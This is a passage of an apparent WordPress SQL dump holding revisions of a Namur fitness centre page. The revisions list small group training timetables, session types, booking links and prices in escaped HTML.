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(467, 1, '2014-12-15 19:44:38', '2014-12-15 19:44:38', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Small Group Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 pers.). Nous vous proposons 7 types de séances décrites ci-dessous.\r\nPour suivre les cours de Small Group Training, vous devez d\'abord vous inscrire à une &lt;a title=\&quot;Séance booster\&quot; href=\&quot;http://www.crosstrainingcenter.be/266-2/\&quot;&gt;séance Booster&lt;/a&gt;. Cette séance, sur rendez-vous individuel, avec un coach durera 30 minutes. Durant cette séance, un bilan sera réalisé ainsi qu\'une découverte de l\'ensemble des outils du Cross Training Center.\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Heure&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;16h45&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;&lt;center&gt;&lt;img class=\&quot;alignnone size-full wp-image-464\&quot; alt=\&quot;LesMills\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills1.png\&quot; width=\&quot;130\&quot;/&gt;&lt;/center&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcore\&quot;&gt;Core&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Squash&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tforce\&quot;&gt;Force&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;LesMills&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;LesMilles&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Foot&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;LesMilles&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;20h30&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Duo Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;LesMills&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Duo Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #9FEDAC;\&quot;&gt;Circuit Training&lt;/span&gt; : Entraînement sur un circuit ultra complet, fun et adapté à votre niveau. Ce circuit utilise tous les outils.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #EDE99F;\&quot;&gt;TRX&lt;/span&gt; : Entraînement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l’intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #ED9FA2;\&quot;&gt;Force&lt;/span&gt; : Entraînement basé sur le travail de la force pure avec ou sans prise de masse (Kettlebel, barre, haltère,…)&lt;b&gt; &lt;/b&gt;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #A2A186;\&quot;&gt;Core&lt;/span&gt; : Entraînement basé sur le travail du centre du corps (« core »). Nous enchaînerons les exercices sur les muscles abdominaux, dorsaux, fessiers,…\r\n\r\n&amp;nbsp;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Réservation des séances :&lt;/h2&gt;\r\nRéserver vos séances de Small Group Training en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot; target=\&quot;_blank\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Séance Booster&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;20.00€ (Sur rendez-vous)\r\n30 min : 10 min de bilan + 20 min de découverte avec un coach en personal training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Personal Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;60 min : 60.00€\r\n30 min : 35.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Duo Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;60 min : 35.00€\r\n30 min : 20.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Small Group Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 10.00€\r\n1 carte de 10 séances : 90.00€ (valable 6 mois)\r\n1 carte de 20 séances : 150.00€ (valable 6 mois)\r\n1 carte de 50 séances : 300.00€ (valable 1 an)&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Préparation physique&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 40.00€\r\nSéance de 30 min orientée sur les spécificités du sport&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + coaching nutritionnel pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2014-12-15 19:44:38', '2014-12-15 19:44:38', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
(482, 1, '2015-04-21 09:53:17', '2015-04-21 09:53:17', '&lt;h1&gt;Small Group Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 pers.). Nous vous proposons 7 types de séances décrites ci-dessous.\r\nPour suivre les cours de Small Group Training, vous devez d\'abord vous inscrire à une &lt;a title=\&quot;Séance booster\&quot; href=\&quot;http://www.crosstrainingcenter.be/266-2/\&quot;&gt;séance Booster&lt;/a&gt;. Cette séance, sur rendez-vous individuel, avec un coach durera 30 minutes. Durant cette séance, un bilan sera réalisé ainsi qu\'une découverte de l\'ensemble des outils du Cross Training Center.\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Heure&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;16h45&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot; valign=\&quot;center\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;&lt;center&gt;&lt;img class=\&quot;alignnone size-full wp-image-464\&quot; alt=\&quot;LesMills\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills1.png\&quot; width=\&quot;130\&quot; /&gt;&lt;/center&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcore\&quot;&gt;Core&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Squash&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tforce\&quot;&gt;Force&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;&lt;center&gt;&lt;img class=\&quot;alignnone size-full wp-image-464\&quot; alt=\&quot;LesMills\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills1.png\&quot; width=\&quot;130\&quot; /&gt;&lt;/center&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Foot&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;20h30&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;&lt;center&gt;&lt;img class=\&quot;alignnone size-full wp-image-464\&quot; alt=\&quot;LesMills\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills1.png\&quot; width=\&quot;130\&quot; /&gt;&lt;/center&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #9FEDAC;\&quot;&gt;Circuit Training&lt;/span&gt; : Entraînement sur un circuit ultra complet, fun et adapté à votre niveau. Ce circuit utilise tous les outils.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #EDE99F;\&quot;&gt;TRX&lt;/span&gt; : Entraînement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l’intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #ED9FA2;\&quot;&gt;Force&lt;/span&gt; : Entraînement basé sur le travail de la force pure avec ou sans prise de masse (Kettlebel, barre, haltère,…)&lt;b&gt; &lt;/b&gt;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #A2A186;\&quot;&gt;Core&lt;/span&gt; : Entraînement basé sur le travail du centre du corps (« core »). Nous enchaînerons les exercices sur les muscles abdominaux, dorsaux, fessiers,…\r\n\r\n&amp;nbsp;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Réservation des séances :&lt;/h2&gt;\r\nRéserver vos séances de Small Group Training en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot; target=\&quot;_blank\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Séance Booster&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;20.00€ (Sur rendez-vous)\r\n30 min : 10 min de bilan + 20 min de découverte avec un coach en personal training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Personal Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;60 min : 60.00€\r\n30 min : 35.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Duo Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;60 min : 35.00€\r\n30 min : 20.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Small Group Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 10.00€\r\n1 carte de 10 séances : 90.00€ (valable 6 mois)\r\n1 carte de 20 séances : 150.00€ (valable 6 mois)\r\n1 carte de 50 séances : 300.00€ (valable 1 an)&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Préparation physique&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 40.00€\r\nSéance de 30 min orientée sur les spécificités du sport&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + coaching nutritionnel pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2015-04-21 09:53:17', '2015-04-21 09:53:17', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
(474, 1, '2015-04-21 08:52:06', '2015-04-21 08:52:06', '\r\n&lt;h1&gt;Small Group Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 pers.). Nous vous proposons 7 types de séances décrites ci-dessous.\r\nPour suivre les cours de Small Group Training, vous devez d\'abord vous inscrire à une &lt;a title=\&quot;Séance booster\&quot; href=\&quot;http://www.crosstrainingcenter.be/266-2/\&quot;&gt;séance Booster&lt;/a&gt;. Cette séance, sur rendez-vous individuel, avec un coach durera 30 minutes. Durant cette séance, un bilan sera réalisé ainsi qu\'une découverte de l\'ensemble des outils du Cross Training Center.\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Heure&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;16h45&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot; valign=\&quot;center\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;&lt;center&gt;&lt;img class=\&quot;alignnone size-full wp-image-464\&quot; alt=\&quot;LesMills\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills1.png\&quot; width=\&quot;130\&quot; /&gt;&lt;/center&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcore\&quot;&gt;Core&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Squash&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tforce\&quot;&gt;Force&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;&lt;center&gt;&lt;img class=\&quot;alignnone size-full wp-image-464\&quot; alt=\&quot;LesMills\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills1.png\&quot; width=\&quot;130\&quot; /&gt;&lt;/center&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;&lt;center&gt;&lt;img class=\&quot;alignnone size-full wp-image-464\&quot; alt=\&quot;LesMills\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills1.png\&quot; width=\&quot;130\&quot; /&gt;&lt;/center&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Foot&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;&lt;center&gt;&lt;img class=\&quot;alignnone size-full wp-image-464\&quot; alt=\&quot;LesMills\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills1.png\&quot; width=\&quot;130\&quot; /&gt;&lt;/center&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;20h30&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Duo Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;&lt;center&gt;&lt;img class=\&quot;alignnone size-full wp-image-464\&quot; alt=\&quot;LesMills\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills1.png\&quot; width=\&quot;130\&quot; /&gt;&lt;/center&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Duo Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #9FEDAC;\&quot;&gt;Circuit Training&lt;/span&gt; : Entraînement sur un circuit ultra complet, fun et adapté à votre niveau. Ce circuit utilise tous les outils.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #EDE99F;\&quot;&gt;TRX&lt;/span&gt; : Entraînement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l’intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #ED9FA2;\&quot;&gt;Force&lt;/span&gt; : Entraînement basé sur le travail de la force pure avec ou sans prise de masse (Kettlebel, barre, haltère,…)&lt;b&gt; &lt;/b&gt;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #A2A186;\&quot;&gt;Core&lt;/span&gt; : Entraînement basé sur le travail du centre du corps (« core »). Nous enchaînerons les exercices sur les muscles abdominaux, dorsaux, 